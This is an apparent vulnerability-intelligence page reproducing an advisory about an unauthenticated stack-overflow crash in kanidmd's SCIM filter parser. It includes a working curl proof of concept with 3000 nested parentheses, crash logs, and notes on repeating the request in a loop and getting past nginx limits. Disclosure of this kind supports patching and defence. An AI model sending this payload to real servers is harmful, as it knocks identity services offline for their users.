Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-r5fr-9gmv-jggh

HighCVSS 8.7 / 10
Published May 6, 2026·Last modified May 6, 2026
Affected Components(0)

No affected components available

Description

Summary

A single unauthenticated GET to any /scim/v1/... endpoint with a ?filter= query string of a few thousand nested parentheses (≈ 4–12 KB) drives the recursive-descent PEG parser past the worker thread's stack guard page. Rust responds to stack overflow with std::process::abort() — the entire kanidmd process exits. The parse runs inside axum's Query<ScimEntryGetQuery> extractor, before any handler body and therefore before any ACL check.

Details

The SCIM filter grammar recurses on ( and not ( with no depth bound.

proto/src/scim_v1/mod.rs:263-433peg::parser! { grammar scimfilter() ... }:

// line 281
"not" separator()+ "(" e:parse() ")" { ScimFilter::Not(Box::new(e)) }
// line 293
"(" e:parse() ")" { e }

Both rules re-enter parse() without a depth counter.

proto/src/scim_v1/mod.rs:442-447impl FromStr for ScimFilter calls scimfilter::parse(input) directly on the raw string with no length or depth pre-check.

proto/src/scim_v1/mod.rs:80-81ScimEntryGetQuery.filter is #[serde_as(as = "Option<DisplayFromStr>")], so deserialising the query struct invokes ScimFilter::from_str on attacker bytes.

Unauthenticated reachability — nine handlers in server/core/src/https/v1_scim.rs (route table at lines 865-1029) take Query<ScimEntryGetQuery> as an argument: /scim/v1/Entry, /scim/v1/Entry/{id}, /scim/v1/Person/{id}, /scim/v1/Application, /scim/v1/Application/{id}, /scim/v1/Class, /scim/v1/Attribute, /scim/v1/Message, /scim/v1/Message/{id}. The SCIM router is merged unconditionally for every server role (server/core/src/https/mod.rs:312).

Axum extracts handler arguments before the handler body runs. The preceding VerifiedClientInformation extractor (server/core/src/https/extractors/mod.rs:16-91) always returns Ok (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.

The existing semantic depth limit (DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12, server/lib/src/constants/mod.rs:212) is enforced in Filter::from_scim_ro (server/lib/src/filter.rs:786) after the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.

The production daemon (server/daemon/src/main.rs:735-744) uses new_multi_thread() with default 2 MiB worker stacks; hyper's max_buf_size (~400 KiB) is not lowered (server/core/src/https/mod.rs:708-727), so a 12 KB URI is accepted.

An identical unbounded grammar exists in libs/scim_proto/src/filter.rs:112-276 (not network-reachable, but should be fixed in the same patch).

PoC

curl -sk "https://idm.example.com/scim/v1/Application?filter=$(python3 -c 'print("("*3000+"a+pr"+")"*3000)')"
# → curl: (52) Empty reply from server
# → server journal: "fatal runtime error: stack overflow, aborting", SIGABRT

Release-build threshold measured at ~2 000 nesting levels / ~4 KB:

$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture
parens depth=1500 len=3004
  -> survived
parens depth=2000 len=4004

thread 'audit_scim_filter_nested_parens' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

End-to-end against an in-process server via kanidmd_testkit (no authentication performed):

Testkit server setup complete - http://localhost:18080/
audit_scim_dos: sending unauthenticated GET, url len = 12056

thread '...' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

Impact

Process-wide availability loss; no confidentiality or integrity impact.

  • Unauthenticated, default install, no feature flag required.
  • Process abort, not task panic. Stack overflow triggers libstd's guard-page handler, which calls std::process::abort(). tokio's per-task catch_unwind isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.
  • Repeatable. One ~12 KB GET per crash; a while true; do curl ...; done loop holds the service down indefinitely across supervisor restarts.
  • The 6 011-byte variant (depth=3000) fits under the nginx default large_client_header_buffers limit of 8 KB, so a typical reverse proxy does not mitigate.

Affected: v1.7.0 through master @ edf50b9da.

Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.32%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard